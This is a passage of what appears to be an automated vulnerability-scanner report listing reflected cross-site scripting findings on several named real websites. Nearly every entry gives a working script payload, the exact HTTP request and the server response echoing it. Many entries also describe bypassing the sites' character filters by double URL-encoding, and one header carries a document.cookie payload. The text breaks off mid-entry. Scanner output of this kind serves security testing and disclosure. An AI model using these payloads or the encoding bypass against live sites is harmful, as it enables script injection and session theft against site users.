The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 724f1"><script>alert(1)</script>f58e6876aa was submitted in the REST URL parameter 2. This input was echoed as 724f1\"><script>alert(1)</script>f58e6876aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themes/shadow724f1"><script>alert(1)</script>f58e6876aa HTTP/1.1 Host: themehybrid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not found Date: Mon, 24 Jan 2011 23:08:59 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: PHPSESSID=f6177b1b9eecf87361d317653896a6cd; path=/ Last-Modified: Mon, 24 Jan 2011 23:09:00 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 10332
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/themes/shadow724f1\"><script>alert(1)</script>f58e6876aa"/> ...[SNIP]...
4.405. http://themehybrid.com/themes/shadow [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://themehybrid.com
Path:
/themes/shadow
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 43780"><script>alert(1)</script>ea07d5a6863 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 43780\"><script>alert(1)</script>ea07d5a6863 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themes/shadow?43780"><script>alert(1)</script>ea07d5a6863=1 HTTP/1.1 Host: themehybrid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61900%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb3ec98366db was submitted in the REST URL parameter 1. This input was echoed as 61900"><script>alert(1)</script>b3ec98366db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /61900%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb3ec98366db/joomla/1-joomla-16-je-tu HTTP/1.1 Host: venedet.michnica.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:04 GMT Server: Apache Vary: Host,Accept-Encoding Set-Cookie: fa5a1b42d3949309610b52593e36fa6f=eb5a53dd9393fea7e28a18ad42ff6222; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 17846
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sk-sk" lang="sk-sk" dir= ...[SNIP]... <base href="http://venedet.michnica.net/61900"><script>alert(1)</script>b3ec98366db/joomla/1-joomla-16-je-tu" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65783%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e25b1f376489 was submitted in the REST URL parameter 2. This input was echoed as 65783"><script>alert(1)</script>25b1f376489 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /index.php/joomla65783%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e25b1f376489/1-joomla-16-je-tu HTTP/1.1 Host: venedet.michnica.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:10 GMT Server: Apache Vary: Host,Accept-Encoding Set-Cookie: fa5a1b42d3949309610b52593e36fa6f=2f61d9afac2a2e2a40887fe127d09901; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 17885
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sk-sk" lang="sk-sk" dir= ...[SNIP]... <base href="http://venedet.michnica.net/index.php/joomla65783"><script>alert(1)</script>25b1f376489/1-joomla-16-je-tu" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9512%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ee1fd9be6da3 was submitted in the REST URL parameter 3. This input was echoed as d9512"><img src=a onerror=alert(1)>e1fd9be6da3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /index.php/joomla/1-joomla-16-je-tud9512%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ee1fd9be6da3 HTTP/1.1 Host: venedet.michnica.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:19 GMT Server: Apache Vary: Host,Accept-Encoding Set-Cookie: fa5a1b42d3949309610b52593e36fa6f=4e6292121ddffab5507f5e58e905f7fb; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 17902
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sk-sk" lang="sk-sk" dir= ...[SNIP]... <base href="http://venedet.michnica.net/index.php/joomla/1-joomla-16-je-tud9512"><img src=a onerror=alert(1)>e1fd9be6da3" /> ...[SNIP]...
4.409. http://venedet.michnica.net/index.php/joomla/1-joomla-16-je-tu [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://venedet.michnica.net
Path:
/index.php/joomla/1-joomla-16-je-tu
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57476%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3231f45f59c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 57476\"><script>alert(1)</script>3231f45f59c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /index.php/joomla/1-joomla-16-je-tu?57476%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3231f45f59c=1 HTTP/1.1 Host: venedet.michnica.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:52 GMT Server: Apache Vary: Host,Accept-Encoding Set-Cookie: fa5a1b42d3949309610b52593e36fa6f=99325c8ec62692dc740442bdffc82c84; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 17854
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sk-sk" lang="sk-sk" dir= ...[SNIP]... <form method="post" action="http://venedet.michnica.net/index.php/joomla/1-joomla-16-je-tu?57476\"><script>alert(1)</script>3231f45f59c=1&hitcount=0"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66679%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9a4f7ab6f7 was submitted in the REST URL parameter 1. This input was echoed as 66679"><script>alert(1)</script>9a4f7ab6f7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /abbr.css66679%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9a4f7ab6f7 HTTP/1.1 Host: www.abbreviations.com Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=xydeiaqh04djp455gggyiyie
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 22:24:24 GMT Content-Length: 27103
.lst{background- ...[SNIP]... <meta name="keywords" content="What does abbr.css66679"><script>alert(1)</script>9a4f7ab6f7 stand for?, What does abbr.css66679"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 93dfb%253cscript%253ealert%25281%2529%253c%252fscript%253ea69817cc1a7 was submitted in the REST URL parameter 1. This input was echoed as 93dfb<script>alert(1)</script>a69817cc1a7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /abbr.css93dfb%253cscript%253ealert%25281%2529%253c%252fscript%253ea69817cc1a7 HTTP/1.1 Host: www.abbreviations.com Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=xydeiaqh04djp455gggyiyie
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 22:24:53 GMT Content-Length: 27061
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 74516%2522%253balert%25281%2529%252f%252f44905aad793 was submitted in the REST URL parameter 1. This input was echoed as 74516";alert(1)//44905aad793 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /abbr.css74516%2522%253balert%25281%2529%252f%252f44905aad793 HTTP/1.1 Host: www.abbreviations.com Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=xydeiaqh04djp455gggyiyie
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 22:24:38 GMT Content-Length: 26744
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload 73595%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9905ecb5304 was submitted in the REST URL parameter 1. This input was echoed as 73595</title><script>alert(1)</script>9905ecb5304 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /abbr.css73595%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9905ecb5304 HTTP/1.1 Host: www.abbreviations.com Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=xydeiaqh04djp455gggyiyie
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 22:25:18 GMT Content-Length: 27311
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e5e15%2522%253balert%25281%2529%252f%252f7bcb080d8de was submitted in the REST URL parameter 1. This input was echoed as e5e15";alert(1)//7bcb080d8de in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /abbr.jse5e15%2522%253balert%25281%2529%252f%252f7bcb080d8de HTTP/1.1 Host: www.abbreviations.com Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=xydeiaqh04djp455gggyiyie; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmb=5591651; __utmc=5591651; __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 22:25:54 GMT Content-Length: 26717
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c284a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7d67615d230 was submitted in the REST URL parameter 1. This input was echoed as c284a"><script>alert(1)</script>7d67615d230 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /abbr.jsc284a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7d67615d230 HTTP/1.1 Host: www.abbreviations.com Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=xydeiaqh04djp455gggyiyie; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmb=5591651; __utmc=5591651; __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 22:25:32 GMT Content-Length: 27122
.lst{background- ...[SNIP]... <meta name="keywords" content="What does abbr.jsc284a"><script>alert(1)</script>7d67615d230 stand for?, What does abbr.jsc284a"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload 66a46%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecc47256e3b6 was submitted in the REST URL parameter 1. This input was echoed as 66a46</title><script>alert(1)</script>cc47256e3b6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /abbr.js66a46%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecc47256e3b6 HTTP/1.1 Host: www.abbreviations.com Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=xydeiaqh04djp455gggyiyie; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmb=5591651; __utmc=5591651; __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 22:27:12 GMT Content-Length: 27284
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 99dbd%253cscript%253ealert%25281%2529%253c%252fscript%253e23471ee6b28 was submitted in the REST URL parameter 1. This input was echoed as 99dbd<script>alert(1)</script>23471ee6b28 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /abbr.js99dbd%253cscript%253ealert%25281%2529%253c%252fscript%253e23471ee6b28 HTTP/1.1 Host: www.abbreviations.com Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=xydeiaqh04djp455gggyiyie; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmb=5591651; __utmc=5591651; __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 22:26:27 GMT Content-Length: 27049
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14548%2522%253balert%25281%2529%252f%252fa75b5821976 was submitted in the REST URL parameter 1. This input was echoed as 14548";alert(1)//a75b5821976 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /abbreviations14548%2522%253balert%25281%2529%252f%252fa75b5821976/ HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:34:01 GMT Connection: close Content-Length: 26845
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload 5e49c%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e97f972b3084 was submitted in the REST URL parameter 1. This input was echoed as 5e49c</title><script>alert(1)</script>97f972b3084 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /abbreviations5e49c%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e97f972b3084/ HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:37:12 GMT Connection: close Content-Length: 27412
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload baf28%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e73b2621bbdb was submitted in the REST URL parameter 1. This input was echoed as baf28"><script>alert(1)</script>73b2621bbdb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
